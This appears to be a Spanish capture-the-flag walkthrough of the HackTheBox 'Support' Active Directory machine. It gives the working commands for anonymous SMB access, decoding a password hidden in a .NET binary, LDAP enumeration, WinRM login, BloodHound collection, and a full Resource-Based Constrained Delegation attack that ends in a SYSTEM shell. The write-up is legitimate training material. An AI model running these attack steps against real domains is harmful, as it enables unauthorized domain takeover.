Support es una máquina Windows de dificultad fácil de HackTheBox. Es un Domain Controller de Active Directory. La cadena de explotación pasa por un share SMB accesible sin autenticación que contiene un binario .NET del que extraemos credenciales LDAP cifradas, enumeración del directorio activo donde encontramos la contraseña de un usuario en un campo de información, acceso por WinRM y escalada de privilegios mediante un ataque de Resource-Based Constrained Delegation (RBCD).
1. Reconocimiento inicial
Añadimos la máquina al /etc/hosts:
echo "10.10.11.174 support.htb dc.support.htb" >> /etc/hostsEscaneamos con Nmap:
sudo nmap -p- -sS -sCV --min-rate 5000 -n -Pn support.htb -oN scanEl resultado muestra la típica huella de un Domain Controller de Active Directory:
| Puerto | Servicio |
|---|---|
| 53 | DNS |
| 88 | Kerberos |
| 135 | MSRPC |
| 389 | LDAP |
| 445 | SMB |
| 5985 | WinRM |
| 636 | LDAPS |
2. Enumeración SMB
Probamos acceso anónimo a los shares:
smbclient -N -L \\\\support.htbSharename Type
--------- ----
ADMIN$ Disk
C$ Disk
IPC$ IPC
NETLOGON Disk
support-tools Disk
SYSVOL DiskEl share support-tools no es estándar. Lo montamos sin contraseña:
smbclient -N \\\\support.htb\\support-toolsListamos el contenido:
7-ZipPortable_21.07.paf.exe
npp.8.4.1.portable.x64.zip
putty.exe
SysinternalsSuite.zip
UserInfo.exe.zip
windirstat1_1_2_setup.exe
WiresharkPortable64_3.6.5.paf.exeEl archivo UserInfo.exe.zip es el único que no es una herramienta conocida. Lo descargamos:
smb: \> get UserInfo.exe.zip3. Ingeniería inversa del binario .NET
Descomprimimos y abrimos UserInfo.exe con AvaloniaILSpy (o dnSpy en Windows):
unzip UserInfo.exe.zip
ilspy UserInfo.exeAl descompilar la clase LdapQuery, encontramos el método getPassword():
private static string getPassword()
{
byte[] array = Convert.FromBase64String("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E");
byte[] bytes = Encoding.Default.GetBytes("armando");
for (int i = 0; i < array.Length; i++)
{
array[i] ^= bytes[i % bytes.Length];
}
return Encoding.Default.GetString(array);
}El código desencripta la contraseña con XOR usando la clave armando. Lo replicamos en Python:
import base64
enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
dec = bytes([enc[i] ^ key[i % len(key)] for i in range(len(enc))])
print(dec.decode())nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmzTenemos las credenciales del usuario ldap con esa contraseña.
4. Enumeración LDAP
Con las credenciales obtenidas, enumeramos el directorio activo:
ldapsearch -x -H ldap://support.htb \
-D 'support\ldap' \
-w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
-b "DC=support,DC=htb" | grep -A5 "dn: CN=support"Entre los atributos del usuario support vemos el campo info:
info: Ironside47pleasure40WatchfulAlguien guardó la contraseña en texto plano en el campo info del usuario.
5. Acceso inicial por WinRM
Probamos las credenciales con evil-winrm:
evil-winrm -u support -p Ironside47pleasure40Watchful -i support.htbEstamos dentro:
*Evil-WinRM* PS C:\Users\support\Documents>type C:\Users\support\Desktop\user.txtFlag de usuario obtenida.
6. Enumeración del AD con BloodHound
Subimos SharpHound para recopilar información del dominio:
upload SharpHound.exe
.\SharpHound.exe -c All
download 20260201_BloodHound.zipAbrimos el archivo en BloodHound y buscamos el path hacia Domain Admin. Encontramos:
- El usuario
supportpertenece al grupoShared Support Accounts - Ese grupo tiene permisos
GenericAllsobre el objeto del Domain ControllerDC.SUPPORT.HTB
GenericAll sobre el DC nos permite configurar Resource-Based Constrained Delegation, lo que nos dejará impersonar a cualquier usuario, incluyendo Administrator.
7. Escalada de privilegios: ataque RBCD
Paso 1 — Crear una cuenta de máquina falsa con Powermad:
upload Powermad.ps1
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)Paso 2 — Obtener el SID de la cuenta creada con PowerView:
upload PowerView.ps1
Import-Module .\PowerView.ps1
$sid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsidPaso 3 — Configurar la delegación en el DC apuntando a nuestra cuenta falsa:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Paso 4 — Desde nuestra máquina, generamos un ticket Kerberos impersonando a Administrator:
getST.py support.htb/FAKE01:123456 \
-dc-ip 10.10.11.174 \
-impersonate Administrator \
-spn cifs/dc.support.htb[*] Getting TGT for user
[*] Impersonating Administrator
[*] Saving ticket in Administrator.ccachePaso 5 — Usamos el ticket para obtener una shell como SYSTEM:
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
nt authority\systemtype C:\Users\Administrator\Desktop\root.txtResumen de técnicas utilizadas
- Enumeración de SMB con acceso anónimo (null session)
- Ingeniería inversa de un binario .NET con AvaloniaILSpy
- Descifrado de contraseña con XOR en Python
- Enumeración de Active Directory via LDAP
- Acceso por WinRM con evil-winrm
- Enumeración del dominio con SharpHound y BloodHound
- Escalada de privilegios con Resource-Based Constrained Delegation (RBCD) usando Powermad, PowerView e Impacket